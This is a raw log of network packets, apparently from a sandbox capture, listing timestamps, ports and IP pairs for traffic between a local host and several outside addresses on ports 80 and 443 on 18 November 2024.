Nov 18, 2024 21:04:22.764020920 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.764030933 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.764039040 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.764056921 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.764058113 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.764058113 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.764074087 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.764076948 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.764089108 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.764096022 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.764106989 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.764122963 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.764122963 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.764125109 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.764142990 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.764168024 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.764374018 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.764399052 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.764417887 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.764417887 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.764431953 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.764436960 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.764448881 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.764455080 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.764467955 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.764475107 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.764486074 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.764502048 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.764502048 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.764502048 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.764519930 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.764523029 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.764544010 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.764561892 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.764897108 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.764911890 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.764929056 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.764944077 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.764957905 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.764961004 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.764977932 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.764978886 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.764995098 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.765011072 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.765021086 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.765028954 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.765038967 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.765045881 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.765074968 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.765074968 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.765094995 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.765513897 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.765530109 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.765543938 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.765558958 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.765573025 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.765573025 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.765574932 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.765592098 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.765609026 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.765610933 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.765610933 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.765610933 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.765625000 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.765640020 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.765641928 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.765641928 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.765656948 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.765662909 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.765681982 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.765697002 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.765707970 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.765712023 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.765729904 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.765729904 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.765755892 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.765755892 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.765780926 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.765799999 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.766078949 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.766093016 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.766107082 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.766124010 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.766132116 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.766172886 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.766172886 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.769251108 CET	443	49859	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:22.769651890 CET	443	49859	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:22.769716024 CET	49859	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:22.776470900 CET	49859	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:22.776518106 CET	443	49859	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:22.776551008 CET	49859	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:22.776566982 CET	443	49859	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:22.784535885 CET	49864	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:22.784569025 CET	443	49864	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:22.784648895 CET	49864	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:22.792716026 CET	49864	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:22.792732954 CET	443	49864	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:22.898622990 CET	443	49862	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:22.907284975 CET	443	49860	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:22.938949108 CET	443	49861	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:22.943583012 CET	443	49863	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:22.953202963 CET	49862	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:22.953202963 CET	49860	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:22.963809967 CET	49863	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:22.963850975 CET	443	49863	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:22.964484930 CET	49863	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:22.964495897 CET	443	49863	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:22.965013027 CET	49862	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:22.965022087 CET	443	49862	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:22.965457916 CET	49862	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:22.965464115 CET	443	49862	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:22.980503082 CET	49860	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:22.980508089 CET	443	49860	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:22.980969906 CET	49860	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:22.980974913 CET	443	49860	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:22.981654882 CET	49861	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:22.981679916 CET	443	49861	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:22.982166052 CET	49861	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:22.982172966 CET	443	49861	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:23.090954065 CET	443	49863	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:23.091023922 CET	443	49863	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:23.091078043 CET	49863	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:23.091300964 CET	49863	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:23.091326952 CET	443	49863	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:23.091344118 CET	49863	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:23.091351032 CET	443	49863	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:23.093981981 CET	443	49862	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:23.094006062 CET	443	49862	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:23.094043970 CET	443	49862	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:23.094046116 CET	49862	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:23.094077110 CET	49862	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:23.095591068 CET	49865	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:23.095684052 CET	443	49865	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:23.095931053 CET	49865	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:23.096100092 CET	49862	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:23.096117973 CET	443	49862	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:23.096128941 CET	49862	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:23.096133947 CET	443	49862	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:23.098150015 CET	49866	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:23.098181009 CET	443	49866	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:23.098229885 CET	49866	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:23.098515987 CET	49866	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:23.098531961 CET	443	49866	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:23.098748922 CET	49865	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:23.098778009 CET	443	49865	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:23.109240055 CET	443	49861	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:23.109241962 CET	443	49860	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:23.109328032 CET	443	49860	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:23.109369993 CET	49860	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:23.109509945 CET	443	49861	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:23.109534979 CET	49860	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:23.109543085 CET	443	49860	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:23.109559059 CET	49860	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:23.109559059 CET	49861	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:23.109563112 CET	443	49860	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:23.130192995 CET	49861	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:23.130192995 CET	49861	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:23.130218029 CET	443	49861	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:23.130239010 CET	443	49861	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:23.134198904 CET	49867	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:23.134284973 CET	443	49867	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:23.134404898 CET	49867	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:23.134605885 CET	49867	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:23.134641886 CET	443	49867	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:23.135867119 CET	49868	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:23.135905027 CET	443	49868	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:23.135963917 CET	49868	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:23.136092901 CET	49868	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:23.136109114 CET	443	49868	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:23.479962111 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:23.480022907 CET	49845	80	192.168.2.4	185.215.113.206
Nov 18, 2024 21:04:23.544280052 CET	443	49864	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:23.574599981 CET	49864	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:23.574630022 CET	443	49864	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:23.590648890 CET	49864	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:23.590663910 CET	443	49864	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:23.728290081 CET	443	49864	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:23.728462934 CET	443	49864	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:23.731502056 CET	49864	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:23.732115030 CET	49864	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:23.732132912 CET	443	49864	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:23.732144117 CET	49864	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:23.732148886 CET	443	49864	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:23.777842045 CET	49869	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:23.777930021 CET	443	49869	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:23.778539896 CET	49869	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:23.781914949 CET	49869	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:23.781950951 CET	443	49869	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:23.801275969 CET	49845	80	192.168.2.4	185.215.113.206
Nov 18, 2024 21:04:23.806174040 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:23.830044031 CET	443	49865	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:23.830404043 CET	49865	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:23.830463886 CET	443	49865	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:23.830816984 CET	49865	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:23.830831051 CET	443	49865	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:23.832885027 CET	443	49866	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:23.833216906 CET	49866	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:23.833228111 CET	443	49866	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:23.833595991 CET	49866	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:23.833600044 CET	443	49866	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:23.886822939 CET	443	49868	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:23.892138958 CET	49868	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:23.892173052 CET	443	49868	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:23.892524004 CET	49868	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:23.892553091 CET	443	49868	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:23.907195091 CET	443	49867	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:23.907999039 CET	49867	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:23.908042908 CET	443	49867	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:23.908369064 CET	49867	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:23.908380032 CET	443	49867	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:23.959479094 CET	443	49865	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:23.959575891 CET	443	49865	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:23.959633112 CET	49865	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:23.961986065 CET	443	49866	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:23.962052107 CET	443	49866	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:23.962157965 CET	443	49866	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:23.962213039 CET	49866	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:23.980036974 CET	49865	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:23.980036974 CET	49865	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:23.980078936 CET	443	49865	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:23.980107069 CET	443	49865	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:23.980942965 CET	49866	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:23.980958939 CET	443	49866	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:23.980976105 CET	49866	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:23.980979919 CET	443	49866	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:23.984920025 CET	49870	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:23.985002041 CET	443	49870	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:23.985340118 CET	49870	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:23.986011028 CET	49871	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:23.986103058 CET	443	49871	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:23.986140013 CET	49870	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:23.986188889 CET	49871	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:23.986191988 CET	443	49870	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:23.986367941 CET	49871	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:23.986402988 CET	443	49871	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:24.021634102 CET	443	49868	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:24.021776915 CET	443	49868	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:24.021869898 CET	49868	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:24.022008896 CET	49868	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:24.022032022 CET	443	49868	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:24.022059917 CET	49868	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:24.022089005 CET	443	49868	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:24.024015903 CET	49872	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:24.024080038 CET	443	49872	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:24.024511099 CET	49872	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:24.025012970 CET	49872	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:24.025044918 CET	443	49872	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:24.035816908 CET	443	49867	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:24.035955906 CET	443	49867	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:24.036015987 CET	49867	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:24.036128044 CET	49867	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:24.036158085 CET	443	49867	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:24.036185026 CET	49867	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:24.036197901 CET	443	49867	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:24.055628061 CET	49873	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:24.055658102 CET	443	49873	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:24.055721045 CET	49873	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:24.061049938 CET	49873	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:24.061062098 CET	443	49873	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:24.062319040 CET	49874	443	192.168.2.4	188.114.96.3
Nov 18, 2024 21:04:24.062386990 CET	443	49874	188.114.96.3	192.168.2.4
Nov 18, 2024 21:04:24.062609911 CET	49874	443	192.168.2.4	188.114.96.3
Nov 18, 2024 21:04:24.062982082 CET	49874	443	192.168.2.4	188.114.96.3
Nov 18, 2024 21:04:24.063016891 CET	443	49874	188.114.96.3	192.168.2.4
Nov 18, 2024 21:04:24.076351881 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.076365948 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.076376915 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.076425076 CET	49845	80	192.168.2.4	185.215.113.206
Nov 18, 2024 21:04:24.076479912 CET	49845	80	192.168.2.4	185.215.113.206
Nov 18, 2024 21:04:24.076695919 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.076852083 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.076910973 CET	49845	80	192.168.2.4	185.215.113.206
Nov 18, 2024 21:04:24.076941967 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.076951981 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.076991081 CET	49845	80	192.168.2.4	185.215.113.206
Nov 18, 2024 21:04:24.077491999 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.077541113 CET	49845	80	192.168.2.4	185.215.113.206
Nov 18, 2024 21:04:24.077543974 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.077555895 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.077615976 CET	49845	80	192.168.2.4	185.215.113.206
Nov 18, 2024 21:04:24.078577042 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.078643084 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.078655005 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.078692913 CET	49845	80	192.168.2.4	185.215.113.206
Nov 18, 2024 21:04:24.078737020 CET	49845	80	192.168.2.4	185.215.113.206
Nov 18, 2024 21:04:24.227771997 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.227842093 CET	49845	80	192.168.2.4	185.215.113.206
Nov 18, 2024 21:04:24.227854967 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.228297949 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.228352070 CET	49845	80	192.168.2.4	185.215.113.206
Nov 18, 2024 21:04:24.228368044 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.228419065 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.228471041 CET	49845	80	192.168.2.4	185.215.113.206
Nov 18, 2024 21:04:24.228498936 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.228590012 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.228601933 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.228646040 CET	49845	80	192.168.2.4	185.215.113.206
Nov 18, 2024 21:04:24.228940010 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.228950977 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.228990078 CET	49845	80	192.168.2.4	185.215.113.206
Nov 18, 2024 21:04:24.229505062 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.229515076 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.229526043 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.229562998 CET	49845	80	192.168.2.4	185.215.113.206
Nov 18, 2024 21:04:24.229562998 CET	49845	80	192.168.2.4	185.215.113.206
Nov 18, 2024 21:04:24.229566097 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.229604006 CET	49845	80	192.168.2.4	185.215.113.206
Nov 18, 2024 21:04:24.230247021 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.230288982 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.230298996 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.230374098 CET	49845	80	192.168.2.4	185.215.113.206
Nov 18, 2024 21:04:24.230374098 CET	49845	80	192.168.2.4	185.215.113.206
Nov 18, 2024 21:04:24.230410099 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.230453014 CET	49845	80	192.168.2.4	185.215.113.206
Nov 18, 2024 21:04:24.231065989 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.231113911 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.231126070 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.231126070 CET	49845	80	192.168.2.4	185.215.113.206
Nov 18, 2024 21:04:24.231190920 CET	49845	80	192.168.2.4	185.215.113.206
Nov 18, 2024 21:04:24.231200933 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.231256962 CET	49845	80	192.168.2.4	185.215.113.206
Nov 18, 2024 21:04:24.231868982 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.231926918 CET	49845	80	192.168.2.4	185.215.113.206
Nov 18, 2024 21:04:24.379450083 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.379492044 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.379503965 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.379511118 CET	49845	80	192.168.2.4	185.215.113.206
Nov 18, 2024 21:04:24.379560947 CET	49845	80	192.168.2.4	185.215.113.206
Nov 18, 2024 21:04:24.379663944 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.379676104 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.379687071 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.379698992 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.379734993 CET	49845	80	192.168.2.4	185.215.113.206
Nov 18, 2024 21:04:24.379765987 CET	49845	80	192.168.2.4	185.215.113.206
Nov 18, 2024 21:04:24.379878998 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.379925013 CET	49845	80	192.168.2.4	185.215.113.206
Nov 18, 2024 21:04:24.379933119 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.379945040 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:24.380026102 CET	49845	80	192.168.2.4	185.215.113.206
